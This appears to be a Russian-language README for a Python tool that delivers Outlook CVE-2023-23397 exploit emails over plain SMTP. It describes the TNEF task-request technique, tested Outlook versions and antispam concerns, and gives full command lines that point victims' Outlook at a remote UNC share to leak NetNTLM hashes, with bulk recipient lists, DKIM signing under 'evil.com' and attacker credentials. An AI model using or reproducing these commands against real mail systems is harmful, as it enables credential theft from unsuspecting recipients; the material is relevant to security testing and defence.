
Python-скрипт для отправки электронных писем с CVE-2023-23397 payload через SMTP
Этот скрипт позволяет создавать TNEF-кодированные письма Outlook с эксплойтом CVE-2023-23397 и отправлять их через чистый SMTP — без необходимости в COM-объектах или EWS.
Мне не удалось заставить класс сообщений IPM.Schedule.Meeting.Request работать корректно (он генерирует и встречу, и напоминание, но почему-то игнорирует свойство PidLidReminderOverride), поэтому вместо этого скрипт использует класс IPM.TaskRequest. В результате появляется всплывающее окно вредоносного напоминания о встрече, как и в оригинальном эксплойте, но получатель не может просмотреть ни тело сообщения, ни детали встречи. В OWA, однако, такое письмо выглядит как обычное сообщение без встречи.
Протестировано на Outlook365 16130.20218 и Outlook 2019 10395.20020. Обратите внимание, что TNEF-вложение и заголовки могут не пройти через антиспам-фильтры при внешней отправке — я тестировал только отправку писем напрямую (или через релей Postfix) на Exchange с Linux-машины в той же локальной сети.
options:
-h, --help показать это справочное сообщение и выйти
-s SERVER, --server SERVER
smtp-релей (host[:port]), по умолчанию: localhost:25
-f SENDER, --from SENDER
адрес отправителя
-t TO, --to TO адрес(а) получателя, путь к файлу или значения через запятую
-S SUBJECT, --subject SUBJECT
тема сообщения
-r ROOM, --room ROOM место встречи (название комнаты), по умолчанию: Meeting Room #1
-b BODY, --body BODY текст сообщения в plaintext (или путь к файлу)
--html HTML HTML-тело сообщения (или путь к файлу)
-p PATH, --path PATH удаленный путь к файлу для эксфильтрации NetNTLM, например \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH имя_пользователя:пароль для команды AUTH, если требуется аутентифицированная отправка
--codepage CODEPAGE кодовая страница Windows (например, 1252=ASCII, 65001=Unicode) для кодировки HTML-тела (если есть), по умолчанию: 1252
--ehlo EHLO, --helo EHLO
аргумент команды EHLO (внешнее имя хоста отправителя)
-l LANG, --lang LANG значение заголовка Content-Language, по умолчанию: en-US
--starttls Использовать STARTTLS при связи по обычному SMTP
--max-rcpts MAX_RCPTS
Максимальное количество получателей на одну попытку отправки
-v Включить отладочный вывод
Подпись сообщения DKIM:
--dkim-selector DKIM_SELECTOR
DKIM-селектор
--dkim-key DKIM_KEY путь к файлу закрытого ключа DKIM
--dkim-domain DKIM_DOMAIN
доменное имя DKIM, по умолчанию: часть адреса отправителя после @
Отправить письмо с [email protected] на [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Отправить письмо нескольким получателям с оппортунистическим TLS и HTML-телом из файла:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Отправить письмо с подписью DKIM (требуется pip install dkimpy) и пользовательским доменом в команде EHLO получателям, загруженным из файла, по три получателя на сообщение:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Отправить письмо с доменными учетными данными:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls